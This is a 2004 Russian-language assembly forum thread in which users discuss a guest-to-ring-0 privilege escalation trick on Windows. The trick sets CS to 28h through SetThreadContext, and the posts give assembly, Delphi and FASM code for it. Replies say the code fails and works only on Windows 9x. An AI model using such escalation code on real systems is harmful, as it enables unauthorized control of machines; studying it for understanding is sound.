Поиск:

Ответ в темуСоздание новой темы Создание опроса
> В Ring0 из под guest'a статья z0mbie, Для тех, кто мечтает попасть в Ring0 
:(
    Опции темы
Delphist
  Дата 13.5.2004, 17:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Delphist Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2145
Регистрация: 3.2.2004
Где: всегда в сети

Репутация: нет
Всего: 3



В интернете я нашел статью z0mbie - он рассказывает как попасть в ring0 из под guest (кому интересна и кто занимается этой темой не ради взлома, а ради того, чтобы более углубленно понять работу винды обращайтесь на e-mail: [email protected] - только объединившись, мы достигним задуманной цели). Суть заключается в вызове всего одной функции: SetThreadContext (хочу вас обрадовать у меня есть ещё один алгоритм, так что пишите)
Эта функция устанавливает контекст, то есть все регистры для заданной нити.
Ситуация усложняется тем, что сохраненный контекст применяется (т.е. установка регистров происходит) при переходе из нуля в третье кольцо при переключении задач и при возврате в кернел из вызванных им процедур
нулевого кольца.
Таким образом мы подлавливаем момент, когда в контексте текущей нити
управление находится в нулевом кольце, а затем правим CS и EIP возврата
на 28h и адрес-процедуры-нулевого-кольца.
В результате вместо того, чтобы вернуться из нуля обратно в кернел,
управление возвращается к нам.

Вот код на asm'e, но что - то я переписал его на Delphi и нечего не вышло (мож, что я чего не так сделал):

push esp 0 0
push offset thread_ring3_code
push 0 0
callW CreateThread ; создаем новую нить
xchg ebx, eax ; EBX=хендл нити

push offset context
push ebx
callW GetThreadContext; получаем контекст нити

mov context._segcs, 28h ; меняем CS:EIP
mov context._eip, offset ring0_code

push offset context
push ebx
callW SetThreadContext; устанавливаем контекст

jmp $ ; чего-то ждем

thread_ring3_code: push 1
call Sleep ; пауза
jmp thread_ring3_code

ring0_code: push ss ss ; мы в нуле!
pop ds es
...


--------------------
ProcessInfo 1-ая моя программа (аналог spyxx.exe с гораздо большим функц-ом - внедрение dll в адр. простр. процесса, перехват API-функций, разбор приложения на окна мн.др).
Когда-то давным-давно использовал это...
PM MAIL ICQ   Вверх
p0s0l
Дата 14.5.2004, 11:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 2
Всего: 112



Что-то тут не то, либо ты не привел часть, где описан context, либо не привел весь код...
По-смыслу, должно быть так:
Код
mov [context.ContextFlags], CONTEXT_CONTROL
push offset context
push ebx
callW GetThreadContext

Т.е. одной строчки не хватает...

Потом, зачем мудрить и отлавливать переход ? Создай поток c CREATE_SUSPENDED, подмени контекст потока, и делай ResumeThread...
Хотя, конечно, z0mbie виднее, но результат получается одинаков...

В Delphi это было бы так:
Код
procedure Ring0Code; assembler;
asm
 ...
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 ctx : CONTEXT;
 ThreadId : Cardinal;
 hThread : THandle;

begin
 hThread := CreateThread(nil, 0, @Ring0Code, nil, CREATE_SUSPENDED, ThreadId);
 ctx.ContextFlags := CONTEXT_CONTROL;
 GetThreadContext(hThread, ctx);
 ctx.SegCs := $28;
 ctx.Eip := Cardinal(@Ring0Code);
 SetThreadContext(hThread, ctx);
 ResumeThread(hThread);
end;



--------------------
С уважением, г-н Посол.
PM   Вверх
Delphist
  Дата 14.5.2004, 16:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Delphist Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2145
Регистрация: 3.2.2004
Где: всегда в сети

Репутация: нет
Всего: 3



Цитата(p0s0l @ 14.5.2004, 11:51)
результат получается одинаков...

В Delphi это было бы так:
Код
procedure Ring0Code; assembler;
asm
 ...
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 ctx : CONTEXT;
 ThreadId : Cardinal;
 hThread : THandle;

begin
 hThread := CreateThread(nil, 0, @Ring0Code, nil, CREATE_SUSPENDED, ThreadId);
 ctx.ContextFlags := CONTEXT_CONTROL;
 GetThreadContext(hThread, ctx);
 ctx.SegCs := $28;
 ctx.Eip := Cardinal(@Ring0Code);
 SetThreadContext(hThread, ctx);
 ResumeThread(hThread);
end;

p0s0l - ты привел код на Delphi, спасибо - у меня только два вопроса к тебе:
1) код этот работает ли ?!
2)Ты знаком с трудами Z0mbie!?



--------------------
ProcessInfo 1-ая моя программа (аналог spyxx.exe с гораздо большим функц-ом - внедрение dll в адр. простр. процесса, перехват API-функций, разбор приложения на окна мн.др).
Когда-то давным-давно использовал это...
PM MAIL ICQ   Вверх
Chingachguk
Дата 14.5.2004, 20:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1232
Регистрация: 25.3.2002
Где: Москва

Репутация: нет
Всего: 18



Кажется, Z0mbie писал для 98-ой и достаточно давно...


--------------------
I don't like the drugs (but the drugs like me). M.Manson.
PM MAIL ICQ   Вверх
oleg1973
Дата 15.5.2004, 17:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 7
Всего: 34



ой не работает
Код
format PE
entry start
include '%fasminc%\win32a.inc'

section '.code' code readable executable
start:
invoke CreateThread,0,0,th,0,0,0
xchg ebx,eax
invoke GetThreadContext,ebx,ctx
mov [SegCs],28h
mov [MyEip],dword r0
invoke SetThreadContext,ebx,ctx
met:
jmp met

th:
invoke Sleep,1
;out dx,al
jmp th
r0:
cli
xor edx,edx
xor eax,eax
div edx
jmp r0
section '.data' data readable writeable
ctx:
ContextFlags dw ?
.Dr0 dw ?
.Dr1 dw ?
.Dr2 dw ?
.Dr3 dw ?
.Dr6 dw ?
.Dr7 dw ?
ControlWord dw ?
StatusWord dw ?
TagWord dw ?
ErrorOffset dw ?
ErrorSelector dw ?
DataOffset dw ?
DataSelector dw ?
RegisterArea: times 80 db ?
Cr0NpxState dw ?
SegGs dw ?
SegFs dw ?
SegEs dw ?
SegDs dw ?
.Edi dw ?
.Esi dw ?
.Ebx dw ?
.Edx dw ?
.Ecx dw ?
.Eax dw ?
.Ebp dw ?
MyEip: dw ?
SegCs dw ?
EFlags dw ?
.Esp dw ?
SegSs dw ?
ExtendedRegisters: times 512 db ?


include '%fasminc%\api.inc'




--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
stab
Дата 25.5.2004, 19:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Экс. модератор
Сообщений: 1839
Регистрация: 1.1.2003

Репутация: нет
Всего: 48



Этот трюк проходит только под 9x. Одно могу сказать точно -- когда я на 98 сидел и увлекался асмом этот метод прекрасно работал ;)


--------------------
6, 6, 6 - the number of the beast.
PM MAIL WWW   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Asm: Общие вопросы"
MAKCim
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой КОД.
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Asm: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0784 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.